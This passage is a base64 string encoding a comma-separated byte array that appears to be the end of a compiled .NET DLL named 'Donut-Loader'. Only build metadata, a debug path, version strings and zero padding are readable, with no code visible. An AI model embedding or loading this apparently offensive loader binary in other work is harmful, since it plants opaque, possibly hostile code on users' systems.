xMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCAwLCAwLCA1LCAxLCAwLCAwLCAwLCAwLCAxOSwgMSwgMCwgMTQsIDY3LCAxMTEsIDExMiwgMTIxLCAxMTQsIDEwNSwgMTAzLCAxMDQsIDExNiwgMzIsIDUwLCA0OCwgNDksIDU3LCAwLCAwLCA4LCAxLCAwLCA3LCAxLCAwLCAwLCAwLCAwLCA4LCAxLCAwLCA4LCAwLCAwLCAwLCAwLCAwLCAzMCwgMSwgMCwgMSwgMCwgODQsIDIsIDIyLCA4NywgMTE0LCA5NywgMTEyLCA3OCwgMTExLCAxMTAsIDY5LCAxMjAsIDk5LCAxMDEsIDExMiwgMTE2LCAxMDUsIDExMSwgMTEwLCA4NCwgMTA0LCAxMTQsIDExMSwgMTE5LCAxMTUsIDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDQxLCA2NCwgMTM5LCA5MywgMCwgMCwgMCwgMCwgMiwgMCwgMCwgMCwgMjgsIDEsIDAsIDAsIDQ4LCA0NSwgMCwgMCwgNDgsIDI5LCAwLCAwLCA4MiwgODMsIDY4LCA4MywgNjYsIDMzLCAyMDMsIDIxNiwgMTg0LCA0NCwgMTksIDczLCAxNzMsIDEyNywgMTA3LCAyMTcsIDEwNywgMjEyLCAxNjUsIDIzOSwgMywgMCwgMCwgMCwgOTksIDU4LCA5MiwgODUsIDExNSwgMTAxLCAxMTQsIDExNSwgOTIsIDExMywgNTIsIDU2LCA1NywgNTAsIDUzLCA0OCwgNDksIDU2LCA5MiwgNjgsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCAxMTUsIDkyLCA4MywgMTA0LCA5NywgMTE0LCAxMTIsIDY4LCAxMDEsIDExOCwgMTAxLCAxMDgsIDExMSwgMTEyLCAzMiwgODAsIDExNCwgMTExLCAxMDYsIDEwMSwgOTksIDExNiwgMTE1LCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA5MiwgMTExLCA5OCwgMTA2LCA5MiwgNjgsIDEwMSwgOTgsIDExNywgMTAzLCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA0NiwgMTEyLCAxMDAsIDk4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAxNiwgMCwgMCwgMCwgMjQsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMSwgMCwgMCwgMCwgNDgsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMCwgMCwgMCwgMCwgNzIsIDAsIDAsIDAsIDg4LCA2NCwgMCwgMCwgMjUyLCAyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyNTIsIDIsIDUyLCAwLCAwLCAwLCA4NiwgMCwgODMsIDAsIDk1LCAwLCA4NiwgMCwgNjksIDAsIDgyLCAwLCA4MywgMCwgNzMsIDAsIDc5LCAwLCA3OCwgMCwgOTUsIDAsIDczLCAwLCA3OCwgMCwgNzAsIDAsIDc5LCAwLCAwLCAwLCAwLCAwLCAxODksIDQsIDIzOSwgMjU0LCAwLCAwLCAxLCAwLCAwLCAwLCAxLCAwLCAyOCwgODAsIDM5LCAyOCwgMCwgMCwgMSwgMCwgMjgsIDgwLCAzOSwgMjgsIDYzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA0LCAwLCAwLCAwLCAyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMCwgMCwgMSwgMCwgODYsIDAsIDk3LCAwLCAxMTQsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMDIsIDAsIDExMSwgMCwgMCwgMCwgMCwgMCwgMzYsIDAsIDQsIDAsIDAsIDAsIDg0LCAwLCAxMTQsIDAsIDk3LCAwLCAxMTAsIDAsIDExNSwgMCwgMTA4LCAwLCA5NywgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxNzYsIDQsIDkyLCAyLCAwLCAwLCAxLCAwLCA4MywgMCwgMTE2LCAwLCAxMTQsIDAsIDEwNSwgMCwgMTEwLCAwLCAxMDMsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMDIsIDAsIDExMSwgMCwgMCwgMCwgNTYsIDIsIDAsIDAsIDEsIDAsIDQ4LCAwLCA0OCwgMCwgNDgsIDAsIDQ4LCAwLCA0OCwgMCwgNTIsIDAsIDk4LCAwLCA0OCwgMCwgMCwgMCwgNjgsIDAsIDEzLCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgNjgsIDAsIDEwMSwgMCwgMTE1LCAwLCA5OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDExMiwgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAxNSwgMCwgMSwgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDg2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTE1LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA0OSwgMCwgNDYsIDAsIDQ4LCAwLCA0NiwgMCwgNTUsIDAsIDUwLCAwLCA0OCwgMCwgNTUsIDAsIDQ2LCAwLCA1MCwgMCwgNDgsIDAsIDUzLCAwLCA0OCwgMCwgNTYsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAxNywgMCwgMSwgMCwgNzMsIDAsIDExMCwgMCwgMTE2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTEwLCAwLCA5NywgMCwgMTA4LCAwLCA3OCwgMCwgOTcsIDAsIDEwOSwgMCwgMTAxLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDQ2LCAwLCAxMDAsIDAsIDEwOCwgMCwgMTA4LCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTUsIDAsIDEsIDAsIDc2LCAwLCAxMDEsIDAsIDEwMywgMCwgOTcsIDAsIDEwOCwgMCwgNjcsIDAsIDExMSwgMCwgMTEyLCAwLCAxMjEsIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNCwgMCwgMTE2LCAwLCAwLCAwLCA2NywgMCwgMTExLCAwLCAxMTIsIDAsIDEyMSwgMCwgMTE0LCAwLCAxMDUsIDAsIDEwMywgMCwgMTA0LCAwLCAxMTYsIDAsIDMyLCAwLCA1MCwgMCwgNDgsIDAsIDQ5LCAwLCA1NywgMCwgMCwgMCwgMCwgMCwgNzYsIDAsIDE3LCAwLCAxLCAwLCA3OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDEwMywgMCwgMTA1LCAwLCAxMTAsIDAsIDk3LCAwLCAxMDgsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCAxMTAsIDAsIDk3LCAwLCAxMDksIDAsIDEwMSwgMCwgMCwgMCwgNjgsIDAsIDExMSwgMCwgMTEwLCAwLCAxMTcsIDAsIDExNiwgMCwgNDUsIDAsIDc2LCAwLCAxMTEsIDAsIDk3LCAwLCAxMDAsIDAsIDEwMSwgMCwgMTE0LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgMCwgMCwgNjAsIDAsIDEzLCAwLCAxLCAwLCA4MCwgMCwgMTE0LCAwLCAxMTEsIDAsIDEwMCwgMCwgMTE3LCAwLCA5OSwgMCwgMTE2LCAwLCA3OCwgMCwgOTcsIDAsIDEwOSwgMCwgMTAxLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAxNSwgMCwgMSwgMCwgODAsIDAsIDExNCwgMCwgMTExLCAwLCAxMDAsIDAsIDExNywgMCwgOTksIDAsIDExNiwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNTAsIDAsIDQ4LCAwLCA1NSwgMCwgNDYsIDAsIDUwLCAwLCA0OCwgMCwgNTMsIDAsIDQ4LCAwLCA1NiwgMCwgMCwgMCwgMCwgMCwgNzIsIDAsIDE1LCAwLCAxLCAwLCA2NSwgMCwgMTE1LCAwLCAxMTUsIDAsIDEwMSwgMCwgMTA5LCAwLCA5OCwgMCwgMTA4LCAwLCAxMjEsIDAsIDMyLCAwLCA4NiwgMCwgMTAxLCAwLCAxMTQsIDAsIDExNSwgMCwgMTA1LCAwLCAxMTEsIDAsIDExMCwgMCwgMCwgMCwgNDksIDAsIDQ2LCAwLCA0OCwgMCwgNDYsIDAsIDU1LCAwLCA1MCwgMCwgNDgsIDAsIDU1LCAwLCA0NiwgMCwgNTAsIDAsIDQ4LCAwLCA1MywgMCwgNDgsIDAsIDU2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAw